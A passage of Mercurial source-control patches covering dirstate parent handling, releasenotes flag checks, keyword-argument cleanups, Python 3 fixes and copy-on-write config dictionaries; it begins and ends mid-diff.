         self.copymap = {}
 
+        # for consistent view between _pl() and _read() invocations
+        self._pendingmode = None
+
     def iteritems(self):
         return self._map.iteritems()
 
@@ -1375,3 +1371,13 @@
         current dirstate.
         """
         return util.dirs(self._map, 'r')
+
+    def _opendirstatefile(self):
+        fp, mode = txnutil.trypending(self._root, self._opener, self._filename)
+        if self._pendingmode is not None and self._pendingmode != mode:
+            fp.close()
+            raise error.Abort(_('working directory state may be '
+                                'changed parallelly'))
+        self._pendingmode = mode
+        return fp
+
# HG changeset patch
# User Durham Goode <durham@fb.com>
# Date 1506423380 25200
#      Tue Sep 26 03:56:20 2017 -0700
# Node ID 0c3e3810cdb60b70db3e301225c7af584fc478b0
# Parent  c36c3fa7d35b0aa1c29d316927b21f77ecc809b8
dirstate: move parent reading to the dirstatemap class

As part of moving dirstate storage logic to a separate class, let's move the
function that reads the parents from the file. This will allow extensions to
write dirstate's that store the parents in other ways.

Differential Revision: https://phab.mercurial-scm.org/D758

diff --git a/mercurial/dirstate.py b/mercurial/dirstate.py
--- a/mercurial/dirstate.py
+++ b/mercurial/dirstate.py
@@ -186,19 +186,7 @@
 
     @propertycache
     def _pl(self):
-        try:
-            fp = self._map._opendirstatefile()
-            st = fp.read(40)
-            fp.close()
-            l = len(st)
-            if l == 40:
-                return st[:20], st[20:40]
-            elif l > 0 and l < 40:
-                raise error.Abort(_('working directory state appears damaged!'))
-        except IOError as err:
-            if err.errno != errno.ENOENT:
-                raise
-        return [nullid, nullid]
+        return self._map.parents()
 
     @propertycache
     def _dirs(self):
@@ -1381,3 +1369,17 @@
         self._pendingmode = mode
         return fp
 
+    def parents(self):
+        try:
+            fp = self._opendirstatefile()
+            st = fp.read(40)
+            fp.close()
+            l = len(st)
+            if l == 40:
+                return st[:20], st[20:40]
+            elif l > 0 and l < 40:
+                raise error.Abort(_('working directory state appears damaged!'))
+        except IOError as err:
+            if err.errno != errno.ENOENT:
+                raise
+        return [nullid, nullid]
# HG changeset patch
# User Durham Goode <durham@fb.com>
# Date 1506423380 25200
#      Tue Sep 26 03:56:20 2017 -0700
# Node ID ec769bba34d377503f42308dea5ddcb8ce4c0ade
# Parent  0c3e3810cdb60b70db3e301225c7af584fc478b0
dirstate: move parents source of truth to dirstatemap

As part of moving dirstate storage to its own class, let's move the source of
truth for the dirstate parents to dirstatemap. This requires that dirstate._pl
no longer be a cache, and that all sets go through dirstatemap.setparents.

Differential Revision: https://phab.mercurial-scm.org/D759

diff --git a/mercurial/dirstate.py b/mercurial/dirstate.py
--- a/mercurial/dirstate.py
+++ b/mercurial/dirstate.py
@@ -71,7 +71,6 @@
         # UNC path pointing to root share (issue4557)
         self._rootdir = pathutil.normasprefix(root)
         self._dirty = False
-        self._dirtypl = False
         self._lastnormaltime = 0
         self._ui = ui
         self._filecache = {}
@@ -184,7 +183,7 @@
                 raise
             return "default"
 
-    @propertycache
+    @property
     def _pl(self):
         return self._map.parents()
 
@@ -343,11 +342,11 @@
             raise ValueError("cannot set dirstate parent without "
                              "calling dirstate.beginparentchange")
 
-        self._dirty = self._dirtypl = True
+        self._dirty = True
         oldp2 = self._pl[1]
         if self._origpl is None:
             self._origpl = self._pl
-        self._pl = p1, p2
+        self._map.setparents(p1, p2)
         copies = {}
         if oldp2 != nullid and p2 == nullid:
             candidatefiles = self._nonnormalset.union(self._otherparentset)
@@ -432,8 +431,8 @@
         # (we cannot decorate the function directly since it is in a C module)
         parse_dirstate = util.nogc(parsers.parse_dirstate)
         p = parse_dirstate(self._map._map, self._map.copymap, st)
-        if not self._dirtypl:
-            self._pl = p
+        if not self._map._dirtyparents:
+            self._map.setparents(*p)
 
     def invalidate(self):
         '''Causes the next access to reread the dirstate.
@@ -444,7 +443,7 @@
 
         for a in ("_map", "_identity",
                   "_filefoldmap", "_dirfoldmap", "_branch",
-                  "_pl", "_dirs", "_ignore", "_nonnormalset",
+                  "_dirs", "_ignore", "_nonnormalset",
                   "_otherparentset"):
             if a in self.__dict__:
                 delattr(self, a)
@@ -679,7 +678,7 @@
         self._otherparentset = set()
         if "_dirs" in self.__dict__:
             delattr(self, "_dirs")
-        self._pl = [nullid, nullid]
+        self._map.setparents(nullid, nullid)
         self._lastnormaltime = 0
         self._updatedfiles.clear()
         self._dirty = True
@@ -694,7 +693,7 @@
 
         if self._origpl is None:
             self._origpl = self._pl
-        self._pl = (parent, nullid)
+        self._map.setparents(parent, nullid)
         for f in changedfiles:
             if f in allfiles:
                 self.normallookup(f)
@@ -787,7 +786,7 @@
         self._nonnormalset, self._otherparentset = self._map.nonnormalentries()
         st.close()
         self._lastnormaltime = 0
-        self._dirty = self._dirtypl = False
+        self._dirty = self._map._dirtyparents = False
 
     def _dirignore(self, f):
         if f == '.':
@@ -1292,6 +1291,8 @@
 
         self._map = {}
         self.copymap = {}
+        self._parents = None
+        self._dirtyparents = False
 
         # for consistent view between _pl() and _read() invocations
         self._pendingmode = None
@@ -1370,16 +1371,28 @@
         return fp
 
     def parents(self):
-        try:
-            fp = self._opendirstatefile()
-            st = fp.read(40)
-            fp.close()
+        if not self._parents:
+            try:
+                fp = self._opendirstatefile()
+                st = fp.read(40)
+                fp.close()
+            except IOError as err:
+                if err.errno != errno.ENOENT:
+                    raise
+                # File doesn't exist, so the current state is empty
+                st = ''
+
             l = len(st)
             if l == 40:
-                return st[:20], st[20:40]
-            elif l > 0 and l < 40:
-                raise error.Abort(_('working directory state appears damaged!'))
-        except IOError as err:
-            if err.errno != errno.ENOENT:
-                raise
-        return [nullid, nullid]
+                self._parents = st[:20], st[20:40]
+            elif l == 0:
+                self._parents = [nullid, nullid]
+            else:
+                raise error.Abort(_('working directory state appears '
+                                    'damaged!'))
+
+        return self._parents
+
+    def setparents(self, p1, p2):
+        self._parents = (p1, p2)
+        self._dirtyparents = True
# HG changeset patch
# User Rishabh Madan <rishabhmadan96@gmail.com>
# Date 1506585178 -19800
#      Thu Sep 28 13:22:58 2017 +0530
# Node ID 741a511492d34e074ca5df00dd7309028179f1bb
# Parent  ec769bba34d377503f42308dea5ddcb8ce4c0ade
releasenotes: raise error on simultaneous usage of flags

The releasenotes command is supposed to raise an error when --list and
--rev/--check flags are used together. This patch adds the above functionality.

Differential Revision: https://phab.mercurial-scm.org/D831

diff --git a/hgext/releasenotes.py b/hgext/releasenotes.py
--- a/hgext/releasenotes.py
+++ b/hgext/releasenotes.py
@@ -552,7 +552,15 @@
     release note after it has been added to the release notes file.
     """
     sections = releasenotessections(ui, repo)
-    if opts.get('list'):
+
+    listflag = opts.get('list')
+
+    if listflag and opts.get('rev'):
+        raise error.Abort(_('cannot use both \'--list\' and \'--rev\''))
+    if listflag and opts.get('check'):
+        raise error.Abort(_('cannot use both \'--list\' and \'--check\''))
+
+    if listflag:
         return _getadmonitionlist(ui, sections)
 
     rev = opts.get('rev')
diff --git a/tests/test-releasenotes-formatting.t b/tests/test-releasenotes-formatting.t
--- a/tests/test-releasenotes-formatting.t
+++ b/tests/test-releasenotes-formatting.t
@@ -420,3 +420,17 @@
   fix: Bug Fixes
   perf: Performance Improvements
   api: API Changes
+
+  $ cd ..
+
+Raise error on simultaneous usage of flags
+
+  $ hg init relnotes-raise-error
+  $ cd relnotes-raise-error
+  $ hg releasenotes -r . -l
+  abort: cannot use both '--list' and '--rev'
+  [255]
+
+  $ hg releasenotes -l -c
+  abort: cannot use both '--list' and '--check'
+  [255]
# HG changeset patch
# User Rishabh Madan <rishabhmadan96@gmail.com>
# Date 1503946285 -19800
#      Tue Aug 29 00:21:25 2017 +0530
# Node ID 01e8ab4b657351aa3fd3c5c717649567c8876a59
# Parent  741a511492d34e074ca5df00dd7309028179f1bb
releasenotes: update docstrings with information on additional flags

This patch adds documentation related to the two new flags --check and
--list for releasenotes extension.

Differential Revision: https://phab.mercurial-scm.org/D544

diff --git a/hgext/releasenotes.py b/hgext/releasenotes.py
--- a/hgext/releasenotes.py
+++ b/hgext/releasenotes.py
@@ -550,6 +550,12 @@
     this command and changes should not be lost when running this command on
     that file. A particular use case for this is to tweak the wording of a
     release note after it has been added to the release notes file.
+
+    The -c/--check option checks the commit message for invalid admonitions.
+
+    The -l/--list option, presents the user with a list of existing available
+    admonitions along with their title. This also includes the custom
+    admonitions (if any).
     """
     sections = releasenotessections(ui, repo)
 
# HG changeset patch
# User Martin von Zweigbergk <martinvonz@google.com>
# Date 1506720221 25200
#      Fri Sep 29 14:23:41 2017 -0700
# Node ID b3538c03a8040c4f7904a83f1a8957ba528515e0
# Parent  01e8ab4b657351aa3fd3c5c717649567c8876a59
perf: remove fallbacks to ancient versions of dirstate.walk()

If the call to dirstate.walk() failed, we would try to fall back to
older versions. These were removed in d3d1d39da2fa (walk: remove
cmdutil.walk, 2008-05-12) and f8299c84b5b6 (dirstate: fold statwalk
and walk, 2008-06-26). We don't care about testing performance of
versions that old versions at this point, so let's clean up.

Differential Revision: https://phab.mercurial-scm.org/D845

diff --git a/contrib/perf.py b/contrib/perf.py
--- a/contrib/perf.py
+++ b/contrib/perf.py
@@ -370,15 +370,8 @@
 @command('perfwalk', formatteropts)
 def perfwalk(ui, repo, *pats, **opts):
     timer, fm = gettimer(ui, opts)
-    try:
-        m = scmutil.match(repo[None], pats, {})
-        timer(lambda: len(list(repo.dirstate.walk(m, [], True, False))))
-    except Exception:
-        try:
-            m = scmutil.match(repo[None], pats, {})
-            timer(lambda: len([b for a, b, c in repo.dirstate.statwalk([], m)]))
-        except Exception:
-            timer(lambda: len(list(cmdutil.walk(repo, pats, {}))))
+    m = scmutil.match(repo[None], pats, {})
+    timer(lambda: len(list(repo.dirstate.walk(m, [], True, False))))
     fm.end()
 
 @command('perfannotate', formatteropts)
# HG changeset patch
# User Martin von Zweigbergk <martinvonz@google.com>
# Date 1506719976 25200
#      Fri Sep 29 14:19:36 2017 -0700
# Node ID 255c761a52db28135c0112e38b2e44c497de4d05
# Parent  b3538c03a8040c4f7904a83f1a8957ba528515e0
dirstate: use keyword arguments to clarify walk()'s callers

The arguments are especially non-obvious because the order is
different from dirstate.status().

Differential Revision: https://phab.mercurial-scm.org/D846

diff --git a/contrib/perf.py b/contrib/perf.py
--- a/contrib/perf.py
+++ b/contrib/perf.py
@@ -371,7 +371,8 @@
 def perfwalk(ui, repo, *pats, **opts):
     timer, fm = gettimer(ui, opts)
     m = scmutil.match(repo[None], pats, {})
-    timer(lambda: len(list(repo.dirstate.walk(m, [], True, False))))
+    timer(lambda: len(list(repo.dirstate.walk(m, subrepos=[], unknown=True,
+                                              ignored=False))))
     fm.end()
 
 @command('perfannotate', formatteropts)
diff --git a/hgext/largefiles/lfutil.py b/hgext/largefiles/lfutil.py
--- a/hgext/largefiles/lfutil.py
+++ b/hgext/largefiles/lfutil.py
@@ -155,7 +155,8 @@
     # largefiles operation in a new clone.
     if create and not vfs.exists(vfs.join(lfstoredir, 'dirstate')):
         matcher = getstandinmatcher(repo)
-        standins = repo.dirstate.walk(matcher, [], False, False)
+        standins = repo.dirstate.walk(matcher, subrepos=[], unknown=False,
+                                      ignored=False)
 
         if len(standins) > 0:
             vfs.makedirs(lfstoredir)
@@ -428,7 +429,8 @@
     standins = []
     matcher = getstandinmatcher(repo)
     wctx = repo[None]
-    for standin in repo.dirstate.walk(matcher, [], False, False):
+    for standin in repo.dirstate.walk(matcher, subrepos=[], unknown=False,
+                                      ignored=False):
         lfile = splitstandin(standin)
         try:
             hash = readasstandin(wctx[standin])
@@ -573,7 +575,8 @@
     # Case 2: user calls commit with specified patterns: refresh
     # any matching big files.
     smatcher = composestandinmatcher(repo, match)
-    standins = repo.dirstate.walk(smatcher, [], False, False)
+    standins = repo.dirstate.walk(smatcher, subrepos=[], unknown=False,
+                                  ignored=False)
 
     # No matching big files: get out of the way and pass control to
     # the usual commit() method.
diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
--- a/mercurial/cmdutil.py
+++ b/mercurial/cmdutil.py
@@ -2708,8 +2708,8 @@
     dirstate = repo.dirstate
     # We don't want to just call wctx.walk here, since it would return a lot of
     # clean files, which we aren't interested in and takes time.
-    for f in sorted(dirstate.walk(badmatch, sorted(wctx.substate),
-                                  True, False, full=False)):
+    for f in sorted(dirstate.walk(badmatch, subrepos=sorted(wctx.substate),
+                                  unknown=True, ignored=False, full=False)):
         exact = match.exact(f)
         if exact or not explicitonly and f not in wctx and repo.wvfs.lexists(f):
             if cca:
diff --git a/mercurial/context.py b/mercurial/context.py
--- a/mercurial/context.py
+++ b/mercurial/context.py
@@ -1478,8 +1478,9 @@
 
     def walk(self, match):
         '''Generates matching file names.'''
-        return sorted(self._repo.dirstate.walk(match, sorted(self.substate),
-                                               True, False))
+        return sorted(self._repo.dirstate.walk(match,
+                                               subrepos=sorted(self.substate),
+                                               unknown=True, ignored=False))
 
     def matches(self, match):
         return sorted(self._repo.dirstate.matches(match))
diff --git a/mercurial/scmutil.py b/mercurial/scmutil.py
--- a/mercurial/scmutil.py
+++ b/mercurial/scmutil.py
@@ -760,8 +760,8 @@
 
     ctx = repo[None]
     dirstate = repo.dirstate
-    walkresults = dirstate.walk(matcher, sorted(ctx.substate), True, False,
-                                full=False)
+    walkresults = dirstate.walk(matcher, subrepos=sorted(ctx.substate),
+                                unknown=True, ignored=False, full=False)
     for abs, st in walkresults.iteritems():
         dstate = dirstate[abs]
         if dstate == '?' and audit_path.check(abs):
# HG changeset patch
# User Martin von Zweigbergk <martinvonz@google.com>
# Date 1506721745 25200
#      Fri Sep 29 14:49:05 2017 -0700
# Node ID ac0cd81e2f83cd6a2910c61afbb98a415832f8e7
# Parent  255c761a52db28135c0112e38b2e44c497de4d05
dirstate: use keyword arguments to clarify status()'s callers

The arguments are especially non-obvious because the order is
different from dirstate.walk().

Differential Revision: https://phab.mercurial-scm.org/D847

diff --git a/hgext/largefiles/lfutil.py b/hgext/largefiles/lfutil.py
--- a/hgext/largefiles/lfutil.py
+++ b/hgext/largefiles/lfutil.py
@@ -169,7 +169,8 @@
 def lfdirstatestatus(lfdirstate, repo):
     pctx = repo['.']
     match = matchmod.always(repo.root, repo.getcwd())
-    unsure, s = lfdirstate.status(match, [], False, False, False)
+    unsure, s = lfdirstate.status(match, subrepos=[], ignored=False,
+                                  clean=False, unknown=False)
     modified, clean = s.modified, s.clean
     for lfile in unsure:
         try:
@@ -551,8 +552,8 @@
         # large.
         lfdirstate = openlfdirstate(ui, repo)
         dirtymatch = matchmod.always(repo.root, repo.getcwd())
-        unsure, s = lfdirstate.status(dirtymatch, [], False, False,
-                                      False)
+        unsure, s = lfdirstate.status(dirtymatch, subrepos=[], ignored=False,
+                                      clean=False, unknown=False)
         modifiedfiles = unsure + s.modified + s.added + s.removed
         lfiles = listlfiles(repo)
         # this only loops through largefiles that exist (not
diff --git a/hgext/largefiles/overrides.py b/hgext/largefiles/overrides.py
--- a/hgext/largefiles/overrides.py
+++ b/hgext/largefiles/overrides.py
@@ -1218,8 +1218,9 @@
         return orig(repo, matcher, prefix, opts, dry_run, similarity)
     # Get the list of missing largefiles so we can remove them
     lfdirstate = lfutil.openlfdirstate(repo.ui, repo)
-    unsure, s = lfdirstate.status(matchmod.always(repo.root, repo.getcwd()), [],
-                                  False, False, False)
+    unsure, s = lfdirstate.status(matchmod.always(repo.root, repo.getcwd()),
+                                  subrepos=[], ignored=False, clean=False,
+                                  unknown=False)
 
     # Call into the normal remove code, but the removing of the standin, we want
     # to have handled by original addremove.  Monkey patching here makes sure
@@ -1403,7 +1404,8 @@
         lfdirstate = lfutil.openlfdirstate(repo.ui, repo)
         unsure, s = lfdirstate.status(matchmod.always(repo.root,
                                                     repo.getcwd()),
-                                      [], False, True, False)
+                                      subrepos=[], ignored=False,
+                                      clean=True, unknown=False)
         oldclean = set(s.clean)
         pctx = repo['.']
         dctx = repo[node]
diff --git a/hgext/largefiles/reposetup.py b/hgext/largefiles/reposetup.py
--- a/hgext/largefiles/reposetup.py
+++ b/hgext/largefiles/reposetup.py
@@ -162,8 +162,10 @@
                                     if sfindirstate(f)]
                     # Don't waste time getting the ignored and unknown
                     # files from lfdirstate
-                    unsure, s = lfdirstate.status(match, [], False, listclean,
-                                                  False)
+                    unsure, s = lfdirstate.status(match, subrepos=[],
+                                                  ignored=False,
+                                                  clean=listclean,
+                                                  unknown=False)
                     (modified, added, removed, deleted, clean) = (
                         s.modified, s.added, s.removed, s.deleted, s.clean)
                     if parentworking:
diff --git a/mercurial/context.py b/mercurial/context.py
--- a/mercurial/context.py
+++ b/mercurial/context.py
@@ -1756,12 +1756,11 @@
 
     def _dirstatestatus(self, match, ignored=False, clean=False, unknown=False):
         '''Gets the status from the dirstate -- internal use only.'''
-        listignored, listclean, listunknown = ignored, clean, unknown
         subrepos = []
         if '.hgsub' in self:
             subrepos = sorted(self.substate)
-        cmp, s = self._repo.dirstate.status(match, subrepos, listignored,
-                                            listclean, listunknown)
+        cmp, s = self._repo.dirstate.status(match, subrepos, ignored=ignored,
+                                            clean=clean, unknown=unknown)
 
         # check for any possibly clean files
         fixup = []
@@ -1770,7 +1769,7 @@
             s.modified.extend(modified2)
             s.deleted.extend(deleted2)
 
-            if fixup and listclean:
+            if fixup and clean:
                 s.clean.extend(fixup)
 
         self._poststatusfixup(s, fixup)
# HG changeset patch
# User Pulkit Goyal <7895pulkit@gmail.com>
# Date 1506729142 -19800
#      Sat Sep 30 05:22:22 2017 +0530
# Node ID 05167447f90d0f1c8b0df9d4676fc498eab63e5b
# Parent  ac0cd81e2f83cd6a2910c61afbb98a415832f8e7
py3: return False early while checking whether None is a key in lazymanifest

In this patch we returns False early if we are trying to check whether None is a
key in lazymanifest. The reason I added a diff is that on Python 3, it goes into
the lazy manifest code an returns a TypeError. I checked with Durham that
whether None can be a possible key in lazymanifest and he said "no". So it's
safe to have this if statement.

This fixes `hg merge` on Python 3.

Differential Revision: https://phab.mercurial-scm.org/D852

diff --git a/mercurial/manifest.py b/mercurial/manifest.py
--- a/mercurial/manifest.py
+++ b/mercurial/manifest.py
@@ -442,6 +442,8 @@
         self._lm[key] = node, self.flags(key, '')
 
     def __contains__(self, key):
+        if key is None:
+            return False
         return key in self._lm
 
     def __delitem__(self, key):
# HG changeset patch
# User Pulkit Goyal <7895pulkit@gmail.com>
# Date 1506766596 -19800
#      Sat Sep 30 15:46:36 2017 +0530
# Node ID 46f45b7efa300542e253dc13821c9030126d45eb
# Parent  05167447f90d0f1c8b0df9d4676fc498eab63e5b
py3: use pycompat.strkwargs() before passing a dict as keyword argument

Differential Revision: https://phab.mercurial-scm.org/D854

diff --git a/mercurial/templater.py b/mercurial/templater.py
--- a/mercurial/templater.py
+++ b/mercurial/templater.py
@@ -1371,6 +1371,7 @@
 
     def render(self, mapping):
         """Render the default unnamed template and return result as string"""
+        mapping = pycompat.strkwargs(mapping)
         return stringify(self('', **mapping))
 
     def __call__(self, t, **mapping):
# HG changeset patch
# User Pulkit Goyal <7895pulkit@gmail.com>
# Date 1506774773 -19800
#      Sat Sep 30 18:02:53 2017 +0530
# Node ID 87a6be5b29f44841dcfea5ee3276a7aba7dad9d5
# Parent  46f45b7efa300542e253dc13821c9030126d45eb
py3: use '%d' instead of '%s' for integers

Differential Revision: https://phab.mercurial-scm.org/D856

diff --git a/mercurial/commands.py b/mercurial/commands.py
--- a/mercurial/commands.py
+++ b/mercurial/commands.py
@@ -2150,7 +2150,7 @@
     skipped = set()
     # check for merges
     for rev in repo.revs('%ld and merge()', revs):
-        ui.warn(_('skipping ungraftable merge revision %s\n') % rev)
+        ui.warn(_('skipping ungraftable merge revision %d\n') % rev)
         skipped.add(rev)
     revs = [r for r in revs if r not in skipped]
     if not revs:
# HG changeset patch
# User Pulkit Goyal <7895pulkit@gmail.com>
# Date 1506766515 -19800
#      Sat Sep 30 15:45:15 2017 +0530
# Node ID 1a5abc45e2fabbacbf9a8d556d78b68d0eb09dd1
# Parent  87a6be5b29f44841dcfea5ee3276a7aba7dad9d5
py3: explicitly convert dict.keys() and dict.items() into a list

Differential Revision: https://phab.mercurial-scm.org/D853

diff --git a/mercurial/copies.py b/mercurial/copies.py
--- a/mercurial/copies.py
+++ b/mercurial/copies.py
@@ -141,7 +141,7 @@
 def _dirstatecopies(d):
     ds = d._repo.dirstate
     c = ds.copies().copy()
-    for k in c.keys():
+    for k in list(c):
         if ds[k] not in 'anm':
             del c[k]
     return c
@@ -494,7 +494,7 @@
     renamedelete = {}
     renamedeleteset = set()
     divergeset = set()
-    for of, fl in diverge.items():
+    for of, fl in list(diverge.items()):
         if len(fl) == 1 or of in c1 or of in c2:
             del diverge[of] # not actually divergent, or not a rename
             if of not in c1 and of not in c2:
diff --git a/mercurial/merge.py b/mercurial/merge.py
--- a/mercurial/merge.py
+++ b/mercurial/merge.py
@@ -1029,7 +1029,7 @@
             # bids is a mapping from action method to list af actions
             # Consensus?
             if len(bids) == 1: # all bids are the same kind of method
-                m, l = bids.items()[0]
+                m, l = list(bids.items())[0]
                 if all(a == l[0] for a in l[1:]): # len(bids) is > 1
                     repo.ui.note(_(" %s: consensus for %s\n") % (f, m))
                     actions[f] = l[0]
@@ -1055,7 +1055,7 @@
                 for _f, args, msg in l:
                     repo.ui.note('  %s -> %s\n' % (msg, m))
             # Pick random action. TODO: Instead, prompt user when resolving
-            m, l = bids.items()[0]
+            m, l = list(bids.items())[0]
             repo.ui.warn(_(' %s: ambiguous merge - picked %s action\n') %
                          (f, m))
             actions[f] = l[0]
# HG changeset patch
# User Pulkit Goyal <7895pulkit@gmail.com>
# Date 1506766688 -19800
#      Sat Sep 30 15:48:08 2017 +0530
# Node ID 6f49ea88d9848a9389f108aee7285614b79a188e
# Parent  1a5abc45e2fabbacbf9a8d556d78b68d0eb09dd1
py3: use pycompat.bytestr instead of str

Differential Revision: https://phab.mercurial-scm.org/D855

diff --git a/mercurial/merge.py b/mercurial/merge.py
--- a/mercurial/merge.py
+++ b/mercurial/merge.py
@@ -990,7 +990,8 @@
     else: # only when merge.preferancestor=* - the default
         repo.ui.note(
             _("note: merging %s and %s using bids from ancestors %s\n") %
-            (wctx, mctx, _(' and ').join(str(anc) for anc in ancestors)))
+            (wctx, mctx, _(' and ').join(pycompat.bytestr(anc)
+                                            for anc in ancestors)))
 
         # Call for bids
         fbids = {} # mapping filename to bids (action method to list af actions)
# HG changeset patch
# User Pulkit Goyal <7895pulkit@gmail.com>
# Date 1506775754 -19800
#      Sat Sep 30 18:19:14 2017 +0530
# Node ID f975cb7c4dbe946799f0371380cd4d9abd64311a
# Parent  6f49ea88d9848a9389f108aee7285614b79a188e
py3: whitelist 15 more tests passing on Python 3

We have reached the count of 75 tests passing on Python 3.

Differential Revision: https://phab.mercurial-scm.org/D858

diff --git a/contrib/python3-whitelist b/contrib/python3-whitelist
--- a/contrib/python3-whitelist
+++ b/contrib/python3-whitelist
@@ -1,15 +1,20 @@
 test-addremove.t
 test-ancestor.py
 test-backwards-remove.t
+test-bheads.t
+test-bisect2.t
+test-bookmarks-merge.t
 test-bookmarks-strip.t
 test-branch-tag-confict.t
 test-casecollision.t
+test-changelog-exec.t
 test-check-commit.t
 test-check-execute.t
 test-check-module-imports.t
 test-check-pyflakes.t
 test-check-pylint.t
 test-check-shbang.t
+test-commit-unresolved.t
 test-contrib-check-code.t
 test-contrib-check-commit.t
 test-debugrename.t
@@ -21,15 +26,21 @@
 test-diff-subdir.t
 test-dirstate-nonnormalset.t
 test-doctest.py
+test-double-merge.t
 test-duplicateoptions.py
 test-empty-dir.t
+test-empty-file.t
 test-empty.t
 test-encoding-func.py
 test-excessive-merge.t
 test-hghave.t
 test-imports-checker.t
 test-issue1089.t
+test-issue1877.t
 test-issue1993.t
+test-issue612.t
+test-issue619.t
+test-issue672.t
 test-issue842.t
 test-journal-exists.t
 test-locate.t
@@ -38,6 +49,7 @@
 test-match.py
 test-merge-default.t
 test-merge2.t
+test-merge4.t
 test-merge5.t
 test-permissions.t
 test-push-checkheads-pruned-B1.t
@@ -50,11 +62,14 @@
 test-push-checkheads-unpushed-D1.t
 test-push-checkheads-unpushed-D6.t
 test-push-checkheads-unpushed-D7.t
+test-rename-merge1.t
 test-rename.t
 test-revlog-packentry.t
 test-run-tests.py
+test-show-stack.t
 test-status-terse.t
 test-terse-status.t
 test-unified-test.t
+test-update-issue1456.t
 test-update-reverse.t
 test-xdg.t
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1506560868 25200
#      Wed Sep 27 18:07:48 2017 -0700
# Node ID c41444a39de25167cb965b8c3591a4e4910c4300
# Parent  f975cb7c4dbe946799f0371380cd4d9abd64311a
config: use copy-on-write to improve copy performance

Previously, chg's `verify` call could take 30+ms loading and checking new
config files. With one socket redirection, that adds up to around 70ms,
which is a lot for fast commands (ex. `bookmark --hidden`).

When investigating closer, A lot of time was spent on actually spent on ui
copying, which is mainly about `config.config` and `dict` copying.

This patch makes that 20x faster by adopting copy-on-write. The
copy-on-write is performed at config section level.

Before:

  In [1]: %timeit ui.copy()
  100 loops, best of 3: 2.32 ms per loop

After:

  In [1]: %timeit ui.copy()
  10000 loops, best of 3: 128 us per loop

2ms may look not that bad, but it adds up pretty quickly with multiple
calls. A typical chg run may call it 4 times, which is about 10ms.

Differential Revision: https://phab.mercurial-scm.org/D808

diff --git a/mercurial/config.py b/mercurial/config.py
--- a/mercurial/config.py
+++ b/mercurial/config.py
@@ -20,13 +20,14 @@
 class config(object):
     def __init__(self, data=None, includepaths=None):
         self._data = {}
-        self._source = {}
         self._unset = []
         self._includepaths = includepaths or []
         if data:
             for k in data._data:
                 self._data[k] = data[k].copy()
             self._source = data._source.copy()
+        else:
+            self._source = util.cowdict()
     def copy(self):
         return config(self)
     def __contains__(self, section):
@@ -39,13 +40,19 @@
         for d in self.sections():
             yield d
     def update(self, src):
+        self._source = self._source.preparewrite()
         for s, n in src._unset:
-            if s in self and n in self._data[s]:
+            ds = self._data.get(s, None)
+            if ds is not None and n in ds:
+                self._data[s] = ds.preparewrite()
                 del self._data[s][n]
                 del self._source[(s, n)]
         for s in src:
-            if s not in self:
-                self._data[s] = util.sortdict()
+            ds = self._data.get(s, None)
+            if ds:
+                self._data[s] = ds.preparewrite()
+            else:
+                self._data[s] = util.cowsortdict()
             self._data[s].update(src._data[s])
         self._source.update(src._source)
     def get(self, section, item, default=None):
@@ -74,16 +81,21 @@
             assert not isinstance(value, str), (
                 'config values may not be unicode strings on Python 3')
         if section not in self:
-            self._data[section] = util.sortdict()
+            self._data[section] = util.cowsortdict()
+        else:
+            self._data[section] = self._data[section].preparewrite()
         self._data[section][item] = value
         if source:
+            self._source = self._source.preparewrite()
             self._source[(section, item)] = source
 
     def restore(self, data):
         """restore data returned by self.backup"""
+        self._source = self._source.preparewrite()
         if len(data) == 4:
             # restore old data
             section, item, value, source = data
+            self._data[section] = self._data[section].preparewrite()
             self._data[section][item] = value
             self._source[(section, item)] = source
         else:
@@ -149,7 +161,7 @@
                 if remap:
                     section = remap.get(section, section)
                 if section not in self:
-                    self._data[section] = util.sortdict()
+                    self._data[section] = util.cowsortdict()
                 continue
             m = itemre.match(l)
             if m:
diff --git a/mercurial/util.py b/mercurial/util.py
--- a/mercurial/util.py
+++ b/mercurial/util.py
@@ -588,6 +588,24 @@
 
     return f
 
+class cow(object):
+    """helper class to make copy-on-write easier
+
+    Call preparewrite before doing any writes.
+    """
+
+    def preparewrite(self):
+        """call this before writes, return self or a copied new object"""
+        if getattr(self, '_copied', 0):
+            self._copied -= 1
+            return self.__class__(self)
+        return self
+
+    def copy(self):
+        """always do a cheap copy"""
+        self._copied = getattr(self, '_copied', 0) + 1
+        return self
+
 class sortdict(collections.OrderedDict):
     '''a simple sorted dictionary
 
@@ -613,6 +631,38 @@
             for k, v in src:
                 self[k] = v
 
+class cowdict(cow, dict):
+    """copy-on-write dict
+
+    Be sure to call d = d.preparewrite() before writing to d.
+
+    >>> a = cowdict()
+    >>> a is a.preparewrite()
+    True
+    >>> b = a.copy()
+    >>> b is a
+    True
+    >>> c = b.copy()
+    >>> c is a
+    True
+    >>> a = a.preparewrite()
+    >>> b is a
+    False
+    >>> a is a.preparewrite()
+    True
+    >>> c = c.preparewrite()
+    >>> b is c
+    False
+    >>> b is b.preparewrite()
+    True
+    """
+
+class cowsortdict(cow, sortdict):
+    """copy-on-write sortdict
+
+    Be sure to call d = d.preparewrite() before writing to d.
+    """
+
 class transactional(object):
     """Base class for making a transactional type into a context manager."""
     __metaclass__ = abc.ABCMeta
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1506506672 -32400
#      Wed Sep 27 19:04:32 2017 +0900
# Node ID 8cbcee0b923d78d93776eddc0740631931fb7f68
# Parent  c41444a39de25167cb965b8c3591a4e4910c4300
py3: remove use of str() in hgwebdir

'%d' can't be used here since port may be either integer or byte string.

diff --git a/mercurial/hgweb/hgwebdir_mod.py b/mercurial/hgweb/hgwebdir_mod.py
--- a/mercurial/hgweb/hgwebdir_mod.py
+++ b/mercurial/hgweb/hgwebdir_mod.py
@@ -34,6 +34,7 @@
     error,
     hg,
     profiling,
+    pycompat,
     scmutil,
     templater,
     ui as uimod,
@@ -106,7 +107,7 @@
     if not path.startswith('/'):
         path = '/' + path
 
-    return name, str(port), path
+    return name, pycompat.bytestr(port), path
 
 class hgwebdir(object):
     """HTTP server for multiple repositories.
@@ -293,7 +294,7 @@
                         msg = encoding.strtolocal(inst.strerror)
                         raise ErrorResponse(HTTP_SERVER_ERROR, msg)
                     except error.RepoError as inst:
-                        raise ErrorResponse(HTTP_SERVER_ERROR, str(inst))
+                        raise ErrorResponse(HTTP_SERVER_ERROR, bytes(inst))
 
             # browse subdirectories
             subdir = virtual + '/'
diff --git a/tests/test-doctest.py b/tests/test-doctest.py
--- a/tests/test-doctest.py
+++ b/tests/test-doctest.py
